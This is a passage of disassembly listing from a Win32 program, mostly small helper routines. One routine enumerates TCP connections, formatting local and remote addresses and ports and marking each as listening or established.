mov ecx, esi call sub_401550 mov edx, [esi+4] mov ecx, esi push edx call sub_40205E sub_418940 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189B0 proc near ; CODE XREF: sub_401F4Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4015D2 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189B0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189F0 proc near ; CODE XREF: sub_401311j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 pop esi add esp, 0Ch retn sub_418A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A70 proc near ; CODE XREF: sub_402086j push esi mov esi, ecx call sub_401528 mov eax, esi pop esi retn sub_418A70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A90 proc near ; CODE XREF: sub_402211j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418A90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015D2 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AE0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40221B neg al sbb eax, eax inc eax retn 4 sub_418AE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B10 proc near ; CODE XREF: sub_40142Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jz short loc_418B6A loc_418B28: ; CODE XREF: sub_418B10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jnz short loc_418B28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418B6A: ; CODE XREF: sub_418B10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418B10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418BA0 proc near ; CODE XREF: sub_4020E5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D57 sub_418BA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BC0 proc near ; CODE XREF: sub_401550j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jz short loc_418C1A loc_418BD8: ; CODE XREF: sub_418BC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40214E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jnz short loc_418BD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C1A: ; CODE XREF: sub_418BC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418BC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418C50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C53 sub_418C50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418C65 mov edi, esi loc_418C65: ; CODE XREF: ___:00418C61j push esi call sub_4015D2 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418C7A mov edi, esi loc_418C7A: ; CODE XREF: ___:00418C76j push esi call sub_401B1D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013F2 sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_4015D2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418CC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418CE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D00 proc near ; CODE XREF: sub_401528j mov eax, ecx retn sub_418D00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D20 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020E0 mov eax, esi pop esi retn 4 sub_418D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D50 proc near ; CODE XREF: sub_40221Bj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C8A mov esi, eax push esi call sub_401A82 push esi mov ebx, eax call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [ebx] push esi mov [eax], edx call sub_401C58 push esi mov ebx, eax call sub_401A82 mov eax, [eax] push eax call sub_401C58 mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_401762 push esi mov ecx, edi call sub_4020E5 sub_418D80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E40 proc near ; CODE XREF: sub_401D57j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418E40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F0A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418E60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E90 proc near ; CODE XREF: sub_40214Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401ECE mov esi, eax push esi call sub_4015D2 push esi mov ebx, eax call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [ebx] push esi mov [eax], edx call sub_401B1D push esi mov ebx, eax call sub_4015D2 mov eax, [eax] push eax call sub_401B1D mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018C5 push esi mov ecx, edi call sub_40205E sub_418E90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_401B1Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_418F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F70 proc near ; CODE XREF: sub_401C53j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_418F70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418FA0 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418FA0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FC0 proc near ; CODE XREF: sub_4020E0j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_418FC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FE0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419010 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419030 proc near ; CODE XREF: sub_4018C5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419030 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401ECEj mov eax, [ecx] retn sub_419050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190B0 proc near ; CODE XREF: sub_402103j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4190B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43E074 call sub_4367FA sub_4190B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41911D mov ecx, eax call sub_401F0F ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41911D: ; CODE XREF: ___:004190FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419170 proc near ; CODE XREF: sub_401F0Fj push 0FFFFFFFFh push offset SEH_419170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_4367FA sub_419170 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4191BE mov ecx, eax call sub_4015B9 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4191BE: ; CODE XREF: ___:004191A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419200 proc near ; CODE XREF: sub_4015B9j mov eax, ecx retn sub_419200 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419220 proc near ; CODE XREF: sub_401965j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_419220 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4192C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4192C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017E4 mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419669 push ebp push edi push offset asc_443600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax call sub_401681 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+2B8h+var_274] call sub_401861 xor ebp, ebp push offset dword_443D94 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013E3 test eax, eax jz short loc_41936F mov [esp+2B4h+var_2A0], 2 jmp short loc_419389 ; --------------------------------------------------------------------------- loc_41936F: ; CODE XREF: sub_4192C0+A3j push offset dword_443D90 lea ecx, [esp+2B8h+var_274] call sub_4013E3 test eax, eax jz short loc_419389 mov [esp+2B4h+var_2A0], 1 loc_419389: ; CODE XREF: sub_4192C0+ADj ; sub_4192C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_443D84 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419418 mov esi, dword_50FA9C add eax, 2 push offset dword_443D84 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419418 mov ecx, [ebx+32h] push offset off_443D80 mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41964F loc_419418: ; CODE XREF: sub_4192C0+123j ; sub_4192C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h nop call near ptr 77C2C407h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_436C60 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419645 lea ebp, [esi+14h] loc_419454: ; CODE XREF: sub_4192C0+37Fj cmp dword ptr [ebp-10h], 2 jnz short loc_419468 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41962F loc_419468: ; CODE XREF: sub_4192C0+198j mov ax, [ebp-8] mov esi, dword_50FC20 push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_401474 mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_401474 mov eax, [ebp-10h] sub eax, 2 jz short loc_4194CC sub eax, 3 jnz short loc_4194F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4194D5 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_4192C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4194D5: ; CODE XREF: sub_4192C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4194F2: ; CODE XREF: sub_4192C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419518 xor ebx, ebx loc_419518: ; CODE XREF: sub_4192C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx nop call near ptr 77C3FA76h mov edi, ebx add esp, 14h and edi, 0FFFFh lea eax, [esp+2B4h+var_118] push edi push eax push offset aSD_1 ; "%s:%d" lea ecx, [esp+2C0h+var_224] push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 14h lea ecx, [esp+2B4h+var_28C] call sub_401424 mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4195B1 cmp eax, 1 jz loc_419616 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4195A4 cmp eax, esi jnz short loc_419616 loc_4195A4: ; CODE XREF: sub_4192C0+2DEj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4195D7 ; --------------------------------------------------------------------------- loc_4195B1: ; CODE XREF: sub_4192C0+2CAj cmp eax, 2 jz short loc_419616 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4195C5 cmp eax, edi jnz short loc_419616 loc_4195C5: ; CODE XREF: sub_4192C0+2FFj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4195D7: ; CODE XREF: sub_4192C0+2EFj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+2B8h+var_28C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 loc_419616: ; CODE XREF: sub_4192C0+2CFj ; sub_4192C0+2E2j ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41962F: ; CODE XREF: sub_4192C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419454 loc_419645: ; CODE XREF: sub_4192C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41964F: ; CODE XREF: sub_4192C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_41966B ; --------------------------------------------------------------------------- loc_419669: ; CODE XREF: sub_4192C0+3Dj mov al, 1 loc_41966B: ; CODE XREF: sub_4192C0+3A7j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4192C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419790 proc near ; CODE XREF: sub_401474j var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp nop call near ptr 77C3FA76h mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419850 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41981E mov eax, [esp+30h] test eax, eax jz short loc_41981E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419850 mov eax, [eax] push ebx push eax push ebp nop call near ptr 77C47A90h add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41981E: ; CODE XREF: sub_419790+5Aj ; sub_419790+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_419850 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp call near ptr 77C47A90h nop add esp, 0Ch loc_419850: ; CODE XREF: sub_419790+52j ; sub_419790+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419790 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4198A0 proc near ; CODE XREF: sub_401EECj nop call near ptr 27D07CDh push eax nop call near ptr 77C371BCh pop ecx retn sub_4198A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4198C0 proc near ; CODE XREF: sub_4021A3j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi call near ptr 77C371D3h nop mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43E0B0 call sub_4368EA sub_4198C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419910: ; CODE XREF: ___:00401C85j nop call near ptr 77C371D3h cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419930: ; CODE XREF: ___:0040151Ej retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419950: ; CODE XREF: ___:00401FC3j xor al, al retn 4 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419970 proc near ; CODE XREF: sub_401523j arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D60B5 call sub_401118 retn sub_419970 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: ___:00401505j sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_4199E3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_4199E3 mov [esp+18h], eax loc_4199E3: ; CODE XREF: ___:004199CBj ; ___:004199DDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_506E6C loc_4199F8: ; CODE XREF: ___:00419A49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419A4B cmp byte ptr [esi], 0 jz short loc_419A34 mov eax, [esp+30h] test eax, eax jz short loc_419A28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419A28 push eax push esi nop call near ptr 77C47C60h add esp, 8 test eax, eax jz short loc_419A34 loc_419A28: ; CODE XREF: ___:00419A0Fj ; ___:00419A17j push edi push esi push ebx push ebp call sub_401523 add esp, 10h loc_419A34: ; CODE XREF: ___:00419A07j ; ___:00419A26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50AE6C mov [esp+14h], edx jl short loc_4199F8 loc_419A4B: ; CODE XREF: ___:00419A02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: ___:00402266j push ebx mov ebx, dword_50FAF8 push esi push edi mov edi, [esp+10h] mov esi, offset dword_506E6C loc_419AA2: ; CODE XREF: ___:00419ABEj cmp byte ptr 